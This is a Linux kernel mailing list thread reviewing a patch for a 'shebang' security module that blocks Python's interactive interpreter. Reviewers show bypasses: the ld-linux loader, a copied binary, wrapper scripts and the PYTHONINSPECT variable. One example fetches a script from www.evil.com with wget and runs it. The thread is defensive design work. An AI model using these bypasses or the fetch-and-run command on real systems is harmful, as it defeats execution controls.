diff mbox

[v1] shebang: restrict python interactive prompt/interpreter

Message ID 1497014528.21594.190.camel@linux.vnet.ibm.com (mailing list archive)
State New, archived
Headers show

Commit Message

Mimi Zohar June 9, 2017, 1:22 p.m. UTC
This patch defines a new, minor LSM named "shebang", that restricts
python such that scripts are allowed to execute, while the interactive
prompt/interpreter is not available.  When used in conjunction with an
IMA appraise execute policy requiring files signatures, only signed
python scripts would be allowed to execute.  (A separate method for
identifying "imported" code would need to be defined in order to verify
their file signatures.)

A blank/comma delimited list of interpreter pathnames is converted to
a list of inodes, which is used to detect and prevent the interactive
prompt/interpreter's usage.

Mimi Zohar <zohar@linux.vnet.ibm.com>
---
 security/Kconfig                  |   1 +
 security/Makefile                 |   2 +
 security/shebang/Kconfig          |  16 ++++++
 security/shebang/Makefile         |   3 +
 security/shebang/shebang_python.c | 117 ++++++++++++++++++++++++++++++++++++++
 5 files changed, 139 insertions(+)
 create mode 100644 security/shebang/Kconfig
 create mode 100644 security/shebang/Makefile
 create mode 100644 security/shebang/shebang_python.c

Comments

Tetsuo Handa June 9, 2017, 2:02 p.m. UTC | #1
Mimi Zohar wrote:
> This patch defines a new, minor LSM named "shebang", that restricts
> python such that scripts are allowed to execute, while the interactive
> prompt/interpreter is not available.  When used in conjunction with an
> IMA appraise execute policy requiring files signatures, only signed
> python scripts would be allowed to execute.  (A separate method for
> identifying "imported" code would need to be defined in order to verify
> their file signatures.)

Below case is blocked by IMA?

   $ cp -p /usr/bin/python2 /tmp
   $ /tmp/python2

Below case is also blocked by IMA?

   $ echo '#!/usr/bin/python2 -' > /tmp/run-python
   $ chmod +x /tmp/run-python
   $ /tmp/run-python

What about execution via ld-linux ?

   $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

> +#define MAX_INODES 6 
> +static char *pathnames;
> +static int pathnames_len;
> +static unsigned long inode_list[MAX_INODES];
> +static int total;
> +
> +/*
> + * Get the inodes associated with the list of pathnames, as specified
> + * on CONFIG_SECURITY_SHEBANG_PATHNAME.
> + */
> +static void init_inode_list(void)
> +{
> +	char *tmp_pathnames = pathnames;
> +	char *p;
> +	struct path path;
> +	int i;
> +	int ret;
> +
> +	total = 0;
> +	while ((p = strsep(&tmp_pathnames, " ,")) != NULL) {
> +		if ((*p == '\0') || (*p == ' ') || (*p == ','))
> +			continue;
> +
> +		if (total > MAX_INODES - 1) {
> +			pr_info("too many interpreters\n");
> +			break;
> +		}
> +
> +		ret = kern_path(p, LOOKUP_FOLLOW, &path);
> +		if (!ret) {
> +			struct inode *inode = d_backing_inode(path.dentry);
> +
> +			inode_list[total] = inode->i_ino;
> +			pr_info("pathname:%s i_ino: %lu\n",
> +				p, inode_list[total]);

Leaking reference to "struct path".

> +			initialized = 1;
> +			total++;
> +		}
> +	}
> +
> +	/* cleanup in case we need to lookup the inodes again. */
> +	tmp_pathnames = pathnames;
> +	for (i = 0; i < pathnames_len; i++)
> +		if (tmp_pathnames[i] == '\0')
> +			tmp_pathnames[i] = ' ';

Why need to restore?

> +}
> +
> +/**
> + * shebang_bprm_check - prevent python interactive prompt/interpreter
> + * @bprm: contains the linux_binprm structure
> + *
> + * Restrict python such that scripts are allowed to execute, while the
> + * interactive prompt/interpreter is not available.
> + */
> +static int shebang_bprm_check(struct linux_binprm *bprm)
> +{
> +	struct inode *inode = file_inode(bprm->file);
> +	int i = 0;
> +
> +	if (bprm->interp != bprm->filename)	/* allow scripts */
> +		return 0;
> +
> +	if (!initialized)
> +		init_inode_list();

init_inode_list() can be called concurrently.

> +
> +	while (i < total) {
> +		if (inode_list[i++] != inode->i_ino)
> +			continue;
> +
> +		pr_info("prevent executing %s (ino=%lu)\n",
> +			bprm->interp, inode->i_ino);
> +		return -EPERM;
> +	}
> +	return 0;
> +}
> +
> +static struct security_hook_list shebang_hooks[] = {
> +	LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check)
> +};
> +
> +static int __init init_shebang(void)
> +{
> +	pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL);
> +	if (!pathnames)
> +		return -ENOMEM;
> +	pathnames_len = strlen(pathnames);

Why need to kstrdup()? 

  static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME;
  static int pathnames_len = sizeof(pathnames) - 1;

will be fine.

> +
> +	security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang");
> +	pr_info("initialized\n");
> +	return 0;
> +}
> +
> +late_initcall(init_shebang);
> +MODULE_LICENSE("GPL");

Nice example for loading as a LKM-based LSM. ;-)
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Matt Brown June 9, 2017, 2:50 p.m. UTC | #2
On 6/9/17 10:02 AM, Tetsuo Handa wrote:
> Mimi Zohar wrote:
>> This patch defines a new, minor LSM named "shebang", that restricts
>> python such that scripts are allowed to execute, while the interactive
>> prompt/interpreter is not available.  When used in conjunction with an
>> IMA appraise execute policy requiring files signatures, only signed
>> python scripts would be allowed to execute.  (A separate method for
>> identifying "imported" code would need to be defined in order to verify
>> their file signatures.)

FYI Mimi posted this because of this current discussion here:
http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

> 
> Below case is blocked by IMA?
> 
>    $ cp -p /usr/bin/python2 /tmp
>    $ /tmp/python2
> 
> Below case is also blocked by IMA?
> 
>    $ echo '#!/usr/bin/python2 -' > /tmp/run-python
>    $ chmod +x /tmp/run-python
>    $ /tmp/run-python
> 

Does IMA have a way to prevent the following? I think this is the main
case we are protection against with this LSM.

$ wget www.evil.com/evil.py
$ /usr/bin/python2 evil.py

> What about execution via ld-linux ?
> 
>    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
> 

Just tested this and you are correct, this allows you to bypass the
protection.

I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
in the list of interpreters.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Mimi Zohar June 9, 2017, 3:06 p.m. UTC | #3
On Fri, 2017-06-09 at 23:02 +0900, Tetsuo Handa wrote:
> Mimi Zohar wrote:
> > This patch defines a new, minor LSM named "shebang", that restricts
> > python such that scripts are allowed to execute, while the interactive
> > prompt/interpreter is not available.  When used in conjunction with an
> > IMA appraise execute policy requiring files signatures, only signed
> > python scripts would be allowed to execute.  (A separate method for
> > identifying "imported" code would need to be defined in order to verify
> > their file signatures.)
> 
> Below case is blocked by IMA?
> 
>    $ cp -p /usr/bin/python2 /tmp
>    $ /tmp/python2
> 
> Below case is also blocked by IMA?
> 
>    $ echo '#!/usr/bin/python2 -' > /tmp/run-python
>    $ chmod +x /tmp/run-python
>    $ /tmp/run-python
> 
> What about execution via ld-linux ?
> 
>    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2

Assuming that you require file signatures on anything that is
executed, then only signed binaries, with the public key loaded on to
the IMA keyring, would be executed.

> > +#define MAX_INODES 6 
> > +static char *pathnames;
> > +static int pathnames_len;
> > +static unsigned long inode_list[MAX_INODES];
> > +static int total;
> > +
> > +/*
> > + * Get the inodes associated with the list of pathnames, as specified
> > + * on CONFIG_SECURITY_SHEBANG_PATHNAME.
> > + */
> > +static void init_inode_list(void)
> > +{
> > +	char *tmp_pathnames = pathnames;
> > +	char *p;
> > +	struct path path;
> > +	int i;
> > +	int ret;
> > +
> > +	total = 0;
> > +	while ((p = strsep(&tmp_pathnames, " ,")) != NULL) {
> > +		if ((*p == '\0') || (*p == ' ') || (*p == ','))
> > +			continue;
> > +
> > +		if (total > MAX_INODES - 1) {
> > +			pr_info("too many interpreters\n");
> > +			break;
> > +		}
> > +
> > +		ret = kern_path(p, LOOKUP_FOLLOW, &path);
> > +		if (!ret) {
> > +			struct inode *inode = d_backing_inode(path.dentry);
> > +
> > +			inode_list[total] = inode->i_ino;
> > +			pr_info("pathname:%s i_ino: %lu\n",
> > +				p, inode_list[total]);
> 
> Leaking reference to "struct path".

kern_path() is calling "getname_kernel(name)", but that is later
freed.  I'm not seeing it.  What are you referring to?
  
> > +			initialized = 1;
> > +			total++;
> > +		}
> > +	}
> > +
> > +	/* cleanup in case we need to lookup the inodes again. */
> > +	tmp_pathnames = pathnames;
> > +	for (i = 0; i < pathnames_len; i++)
> > +		if (tmp_pathnames[i] == '\0')
> > +			tmp_pathnames[i] = ' ';
> 
> Why need to restore?

The patch description just mentions replacing the list of pathnames
with a set of inodes, but doesn't go into the implications of this
change.  When the interpreter package is updated, the list of inodes
would need to be updated as well.

Some method for updating the list of inodes would be needed.  Probably
the security_inode_unlink and security_inode_rename hooks would be a
good place to trigger the inode list update.

> > +}
> > +
> > +/**
> > + * shebang_bprm_check - prevent python interactive prompt/interpreter
> > + * @bprm: contains the linux_binprm structure
> > + *
> > + * Restrict python such that scripts are allowed to execute, while the
> > + * interactive prompt/interpreter is not available.
> > + */
> > +static int shebang_bprm_check(struct linux_binprm *bprm)
> > +{
> > +	struct inode *inode = file_inode(bprm->file);
> > +	int i = 0;
> > +
> > +	if (bprm->interp != bprm->filename)	/* allow scripts */
> > +		return 0;
> > +
> > +	if (!initialized)
> > +		init_inode_list();
> 
> init_inode_list() can be called concurrently.

Good catch.  Thank you.

Mimi

> 
> > +
> > +	while (i < total) {
> > +		if (inode_list[i++] != inode->i_ino)
> > +			continue;
> > +
> > +		pr_info("prevent executing %s (ino=%lu)\n",
> > +			bprm->interp, inode->i_ino);
> > +		return -EPERM;
> > +	}
> > +	return 0;
> > +}
> > +
> > +static struct security_hook_list shebang_hooks[] = {
> > +	LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check)
> > +};
> > +
> > +static int __init init_shebang(void)
> > +{
> > +	pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL);
> > +	if (!pathnames)
> > +		return -ENOMEM;
> > +	pathnames_len = strlen(pathnames);
> 
> Why need to kstrdup()? 
> 
>   static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME;
>   static int pathnames_len = sizeof(pathnames) - 1;
> 
> will be fine.
> 
> > +
> > +	security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang");
> > +	pr_info("initialized\n");
> > +	return 0;
> > +}
> > +
> > +late_initcall(init_shebang);
> > +MODULE_LICENSE("GPL");
> 
> Nice example for loading as a LKM-based LSM. ;-)

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Tetsuo Handa June 9, 2017, 3:23 p.m. UTC | #4
Mimi Zohar wrote:
> > > +		ret = kern_path(p, LOOKUP_FOLLOW, &path);
> > > +		if (!ret) {
> > > +			struct inode *inode = d_backing_inode(path.dentry);
> > > +
> > > +			inode_list[total] = inode->i_ino;
> > > +			pr_info("pathname:%s i_ino: %lu\n",
> > > +				p, inode_list[total]);
> > 
> > Leaking reference to "struct path".
> 
> kern_path() is calling "getname_kernel(name)", but that is later
> freed. I'm not seeing it. What are you referring to?

See tomoyo_realpath_nofollow() for example. Where is path_put()?
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Tetsuo Handa June 9, 2017, 3:41 p.m. UTC | #5
Matt Brown wrote:
> > What about execution via ld-linux ?
> > 
> >    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
> > 
> 
> Just tested this and you are correct, this allows you to bypass the
> protection.
> 
> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
> in the list of interpreters.

And there is also PYTHONINSPECT environment variable. ;-)

# echo '#!/usr/bin/python2' > run-python
# chmod 755 run-python
# ./run-python
# PYTHONINSPECT=yes ./run-python
>>> print "hello"
hello
>>>
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Matt Brown June 9, 2017, 4:37 p.m. UTC | #6
On 6/9/17 11:41 AM, Tetsuo Handa wrote:
> Matt Brown wrote:
>>> What about execution via ld-linux ?
>>>
>>>    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
>>>
>>
>> Just tested this and you are correct, this allows you to bypass the
>> protection.
>>
>> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
>> in the list of interpreters.
> 
> And there is also PYTHONINSPECT environment variable. ;-)
> 
> # echo '#!/usr/bin/python2' > run-python
> # chmod 755 run-python
> # ./run-python
> # PYTHONINSPECT=yes ./run-python
>>>> print "hello"
> hello
>>>>

While this bypass works against this LSM alone, when combined with
Trusted Path Execution this is prevented for non-root/untrusted user.
This is why I feel like this is such a great feature to combine with TPE
as I said here:

http://www.openwall.com/lists/kernel-hardening/2017/06/09/13

Results from my test:

$ PYTHONINSPECT=yes ./run-python


-bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not
permitted

and in the dmesg log:
TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned
directory

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Jason Zaman June 9, 2017, 4:43 p.m. UTC | #7
On Fri, Jun 09, 2017 at 12:37:50PM -0400, Matt Brown wrote:
> On 6/9/17 11:41 AM, Tetsuo Handa wrote:
> > Matt Brown wrote:
> >>> What about execution via ld-linux ?
> >>>
> >>>    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
> >>>
> >>
> >> Just tested this and you are correct, this allows you to bypass the
> >> protection.
> >>
> >> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
> >> in the list of interpreters.
> > 
> > And there is also PYTHONINSPECT environment variable. ;-)
> > 
> > # echo '#!/usr/bin/python2' > run-python
> > # chmod 755 run-python
> > # ./run-python
> > # PYTHONINSPECT=yes ./run-python
> >>>> print "hello"
> > hello
> >>>>
> 
> While this bypass works against this LSM alone, when combined with
> Trusted Path Execution this is prevented for non-root/untrusted user.
> This is why I feel like this is such a great feature to combine with TPE
> as I said here:
> 
> http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
> 
> Results from my test:
> 
> $ PYTHONINSPECT=yes ./run-python
> 
> 
> -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not
> permitted
> 
> and in the dmesg log:
> TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned
> directory

What if you just use any existing python script on the system?

jason@meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
emerge: command-line interface to the Portage system
Usage:
   emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ]
   emerge [ options ] [ action ] < @system | @world >
   emerge < --sync | --metadata | --info >
   emerge --resume [ --pretend | --ask | --skipfirst ]
   emerge --help
Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]
          [ --color < y | n >            ] [ --columns    ]
          [ --complete-graph             ] [ --deep       ]
          [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD            ]
          [ --newrepo   ] [ --newuse     ] [ --noconfmem  ] [ --nospinner   ]
          [ --oneshot   ] [ --onlydeps   ] [ --quiet-build [ y | n ]        ]
          [ --reinstall changed-use      ] [ --with-bdeps < y | n >         ]
Actions:  [ --depclean | --list-sets | --search | --sync | --version        ]

   For more help consult the man page.
Traceback (most recent call last):
  File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
    sys.exit(retval)
SystemExit: 1
>>>

-- Jason
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Matt Brown June 9, 2017, 5:23 p.m. UTC | #8
On 6/9/17 12:43 PM, Jason Zaman wrote:
> On Fri, Jun 09, 2017 at 12:37:50PM -0400, Matt Brown wrote:
>> On 6/9/17 11:41 AM, Tetsuo Handa wrote:
>>> Matt Brown wrote:
>>>>> What about execution via ld-linux ?
>>>>>
>>>>>    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
>>>>>
>>>>
>>>> Just tested this and you are correct, this allows you to bypass the
>>>> protection.
>>>>
>>>> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
>>>> in the list of interpreters.
>>>
>>> And there is also PYTHONINSPECT environment variable. ;-)
>>>
>>> # echo '#!/usr/bin/python2' > run-python
>>> # chmod 755 run-python
>>> # ./run-python
>>> # PYTHONINSPECT=yes ./run-python
>>>>>> print "hello"
>>> hello
>>>>>>
>>
>> While this bypass works against this LSM alone, when combined with
>> Trusted Path Execution this is prevented for non-root/untrusted user.
>> This is why I feel like this is such a great feature to combine with TPE
>> as I said here:
>>
>> http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
>>
>> Results from my test:
>>
>> $ PYTHONINSPECT=yes ./run-python
>>
>>
>> -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not
>> permitted
>>
>> and in the dmesg log:
>> TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned
>> directory
> 
> What if you just use any existing python script on the system?
> 
> jason@meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
> emerge: command-line interface to the Portage system
> Usage:
>    emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ]
>    emerge [ options ] [ action ] < @system | @world >
>    emerge < --sync | --metadata | --info >
>    emerge --resume [ --pretend | --ask | --skipfirst ]
>    emerge --help
> Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]
>           [ --color < y | n >            ] [ --columns    ]
>           [ --complete-graph             ] [ --deep       ]
>           [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD            ]
>           [ --newrepo   ] [ --newuse     ] [ --noconfmem  ] [ --nospinner   ]
>           [ --oneshot   ] [ --onlydeps   ] [ --quiet-build [ y | n ]        ]
>           [ --reinstall changed-use      ] [ --with-bdeps < y | n >         ]
> Actions:  [ --depclean | --list-sets | --search | --sync | --version        ]
> 
>    For more help consult the man page.
> Traceback (most recent call last):
>   File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
>     sys.exit(retval)
> SystemExit: 1
>>>>
> 
> -- Jason
> 

crap you're right. This does work.

what does everyone thing about a envp_blacklist option that is a list of
environmental variables that will be stripped from exec calls. This can
be done in the LSM hook bprm_check_security.

Is there any reason on a hardened system why you would need the
PYTHONINSPECT environmental variable?

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Tetsuo Handa June 9, 2017, 11:04 p.m. UTC | #9
Matt Brown wrote:
> what does everyone thing about a envp_blacklist option that is a list of
> environmental variables that will be stripped from exec calls. This can
> be done in the LSM hook bprm_check_security.

Stripping argv[0] can be done by remove_arg_zero(). But stripping specific
environmental variables is a bit complicated than what you would think. You
can see tomoyo_environ() for how to whitelist environmental variable names.

> 
> Is there any reason on a hardened system why you would need the
> PYTHONINSPECT environmental variable?

TOMOYO and CaitSith try to check such factors (e.g. argv/envp as well as
pathname manipulations).
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Tetsuo Handa June 10, 2017, 1:49 a.m. UTC | #10
Matt Brown wrote:
> > What about execution via ld-linux ?
> > 
> >    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
> > 
> 
> Just tested this and you are correct, this allows you to bypass the
> protection.
> 
> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
> in the list of interpreters.

I'm not using BTRFS/OCFS2, but what about reflink()? They are copy-on-write while
separate inodes are used. Does that mean inode number differs but attributes
associated with that inode is same (i.e. inode number based blacklisting fails)?
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Kees Cook June 10, 2017, 1:56 a.m. UTC | #11
On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
> On 6/9/17 12:43 PM, Jason Zaman wrote:
>> On Fri, Jun 09, 2017 at 12:37:50PM -0400, Matt Brown wrote:
>>> On 6/9/17 11:41 AM, Tetsuo Handa wrote:
>>>> Matt Brown wrote:
>>>>>> What about execution via ld-linux ?
>>>>>>
>>>>>>    $ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
>>>>>>
>>>>>
>>>>> Just tested this and you are correct, this allows you to bypass the
>>>>> protection.
>>>>>
>>>>> I was able to fix this bypass by including /lib64/ld-linux-x86-64.so.2
>>>>> in the list of interpreters.
>>>>
>>>> And there is also PYTHONINSPECT environment variable. ;-)
>>>>
>>>> # echo '#!/usr/bin/python2' > run-python
>>>> # chmod 755 run-python
>>>> # ./run-python
>>>> # PYTHONINSPECT=yes ./run-python
>>>>>>> print "hello"
>>>> hello
>>>>>>>
>>>
>>> While this bypass works against this LSM alone, when combined with
>>> Trusted Path Execution this is prevented for non-root/untrusted user.
>>> This is why I feel like this is such a great feature to combine with TPE
>>> as I said here:
>>>
>>> http://www.openwall.com/lists/kernel-hardening/2017/06/09/13
>>>
>>> Results from my test:
>>>
>>> $ PYTHONINSPECT=yes ./run-python
>>>
>>>
>>> -bash: ./run-python: /usr/bin/python2: bad interpreter: Operation not
>>> permitted
>>>
>>> and in the dmesg log:
>>> TPE: Denied exec of /home/test/run-python Reason: file in non-root-owned
>>> directory
>>
>> What if you just use any existing python script on the system?
>>
>> jason@meriadoc ~ $ PYTHONINSPECT=yes /usr/bin/emerge
>> emerge: command-line interface to the Portage system
>> Usage:
>>    emerge [ options ] [ action ] [ ebuild | tbz2 | file | @set | atom ] [ ... ]
>>    emerge [ options ] [ action ] < @system | @world >
>>    emerge < --sync | --metadata | --info >
>>    emerge --resume [ --pretend | --ask | --skipfirst ]
>>    emerge --help
>> Options: -[abBcCdDefgGhjkKlnNoOpPqrsStuvVw]
>>           [ --color < y | n >            ] [ --columns    ]
>>           [ --complete-graph             ] [ --deep       ]
>>           [ --jobs JOBS ] [ --keep-going ] [ --load-average LOAD            ]
>>           [ --newrepo   ] [ --newuse     ] [ --noconfmem  ] [ --nospinner   ]
>>           [ --oneshot   ] [ --onlydeps   ] [ --quiet-build [ y | n ]        ]
>>           [ --reinstall changed-use      ] [ --with-bdeps < y | n >         ]
>> Actions:  [ --depclean | --list-sets | --search | --sync | --version        ]
>>
>>    For more help consult the man page.
>> Traceback (most recent call last):
>>   File "/usr/lib/python-exec/python3.4/emerge", line 79, in <module>
>>     sys.exit(retval)
>> SystemExit: 1
>>>>>
>>
>> -- Jason
>>
>
> crap you're right. This does work.
>
> what does everyone thing about a envp_blacklist option that is a list of
> environmental variables that will be stripped from exec calls. This can
> be done in the LSM hook bprm_check_security.
>
> Is there any reason on a hardened system why you would need the
> PYTHONINSPECT environmental variable?

As part of shebang, it likely makes sense to whitelist (rather than
blacklist) the env of the restricted interpreters. Though this is
starting to get complex. :P

-Kees
Tetsuo Handa June 10, 2017, 5:27 a.m. UTC | #12
Kees Cook wrote:
> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
> > what does everyone thing about a envp_blacklist option that is a list of
> > environmental variables that will be stripped from exec calls. This can
> > be done in the LSM hook bprm_check_security.
> >
> > Is there any reason on a hardened system why you would need the
> > PYTHONINSPECT environmental variable?
> 
> As part of shebang, it likely makes sense to whitelist (rather than
> blacklist) the env of the restricted interpreters. Though this is
> starting to get complex. :P

Blacklisting environment variables is dangerous. I think that
administrators can afford whitelisting environment variable names.
I think that implementing whitelist of environment variable names
as an independent LSM module would be fine.

While it is true that things starts getting complex if we check environment
variables, shebang will already become complex if it starts worrying about
updating inode number list in order to close the race window between doing
creat()+write()+close()+chmod()+rename() by the package manager and teaching
the kernel the new inode number determined by creat(). We will need an
interface for allowing the package manager to teach the kernel the new inode
number and modification of the package manager, for the kernel side is doing
inode number based blacklisting while user side can execute it before rename().
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Mickaël Salaün June 11, 2017, 11:44 a.m. UTC | #13
On 10/06/2017 07:27, Tetsuo Handa wrote:
> Kees Cook wrote:
>> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
>>> what does everyone thing about a envp_blacklist option that is a list of
>>> environmental variables that will be stripped from exec calls. This can
>>> be done in the LSM hook bprm_check_security.
>>>
>>> Is there any reason on a hardened system why you would need the
>>> PYTHONINSPECT environmental variable?
>>
>> As part of shebang, it likely makes sense to whitelist (rather than
>> blacklist) the env of the restricted interpreters. Though this is
>> starting to get complex. :P
> 
> Blacklisting environment variables is dangerous. I think that
> administrators can afford whitelisting environment variable names.
> I think that implementing whitelist of environment variable names
> as an independent LSM module would be fine.
> 
> While it is true that things starts getting complex if we check environment
> variables, shebang will already become complex if it starts worrying about
> updating inode number list in order to close the race window between doing
> creat()+write()+close()+chmod()+rename() by the package manager and teaching
> the kernel the new inode number determined by creat(). We will need an
> interface for allowing the package manager to teach the kernel the new inode
> number and modification of the package manager, for the kernel side is doing
> inode number based blacklisting while user side can execute it before rename().
> --
> To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

Using filesystem xattr seems like a good idea for this kind of
exceptions and instead of a hardcoded interpreter path. Something like
"security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
configure a security policy for some binaries. This could also be
protected by IMA/EVM, if needed.

This kind of xattr should be writable by the owner of the file. The TPE
LSM [1] could then take these xattr into account according to the TPE
policy.

The "security.tpe.environment" could also be set on a script file to be
part of the union with the interpreter's environment whitelist. This may
be needed to be able to use environment variables as configuration in a
script.

In the future, a "security.tpe.memory" could contain a set of flags as
PaX uses for mprotect-like exceptions (user.pax.flags).

Userland daemons such as paxctld or paxrat could be used (with some
tweaks) to keep a consistent TPE policy over time.

 Mickaël


[1] https://lkml.kernel.org/r/1497015878.21594.201.camel@linux.vnet.ibm.com
Matt Brown June 12, 2017, 12:34 a.m. UTC | #14
On 06/10/2017 01:27 AM, Tetsuo Handa wrote:
> Kees Cook wrote:
>> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
>>> what does everyone thing about a envp_blacklist option that is a list of
>>> environmental variables that will be stripped from exec calls. This can
>>> be done in the LSM hook bprm_check_security.
>>>
>>> Is there any reason on a hardened system why you would need the
>>> PYTHONINSPECT environmental variable?
>>
>> As part of shebang, it likely makes sense to whitelist (rather than
>> blacklist) the env of the restricted interpreters. Though this is
>> starting to get complex. :P
>
> Blacklisting environment variables is dangerous. I think that
> administrators can afford whitelisting environment variable names.
> I think that implementing whitelist of environment variable names
> as an independent LSM module would be fine.

How is blacklisting environmental variables more dangerous than
whitelisting? I'm just suggesting the blacklist be used for the
environmental vars used to bypass the interpreter protections. I don't
think we need a full blown LSM for that.

>
> While it is true that things starts getting complex if we check environment
> variables, shebang will already become complex if it starts worrying about
> updating inode number list in order to close the race window between doing
> creat()+write()+close()+chmod()+rename() by the package manager and teaching
> the kernel the new inode number determined by creat(). We will need an
> interface for allowing the package manager to teach the kernel the new inode
> number and modification of the package manager, for the kernel side is doing
> inode number based blacklisting while user side can execute it before rename().
>

Isn't there a way to take a reference to the inode to prevent the race
condition? I was thinking that a sysfs file could be written to to
update the list of interpreter paths.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Mimi Zohar June 12, 2017, 2:32 a.m. UTC | #15
On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote:
> On 10/06/2017 07:27, Tetsuo Handa wrote:
> > Kees Cook wrote:
> >> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote:
> >>> what does everyone thing about a envp_blacklist option that is a list of
> >>> environmental variables that will be stripped from exec calls. This can
> >>> be done in the LSM hook bprm_check_security.
> >>>
> >>> Is there any reason on a hardened system why you would need the
> >>> PYTHONINSPECT environmental variable?
> >>
> >> As part of shebang, it likely makes sense to whitelist (rather than
> >> blacklist) the env of the restricted interpreters. Though this is
> >> starting to get complex. :P
> > 
> > Blacklisting environment variables is dangerous. I think that
> > administrators can afford whitelisting environment variable names.
> > I think that implementing whitelist of environment variable names
> > as an independent LSM module would be fine.
> > 
> > While it is true that things starts getting complex if we check environment
> > variables, shebang will already become complex if it starts worrying about
> > updating inode number list in order to close the race window between doing
> > creat()+write()+close()+chmod()+rename() by the package manager and teaching
> > the kernel the new inode number determined by creat(). We will need an
> > interface for allowing the package manager to teach the kernel the new inode
> > number and modification of the package manager, for the kernel side is doing
> > inode number based blacklisting while user side can execute it before rename().

I don't think we're trying to protect against executing the
interpreter prior to the rename.  Rename, itself, would trigger
associating the interpreter name with an inode number.

> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> > 
> 
> Using filesystem xattr seems like a good idea for this kind of
> exceptions and instead of a hardcoded interpreter path. Something like
> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI)
> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to
> configure a security policy for some binaries. This could also be
> protected by IMA/EVM, if needed.

Checking for the existence of an xattr without caching is relatively
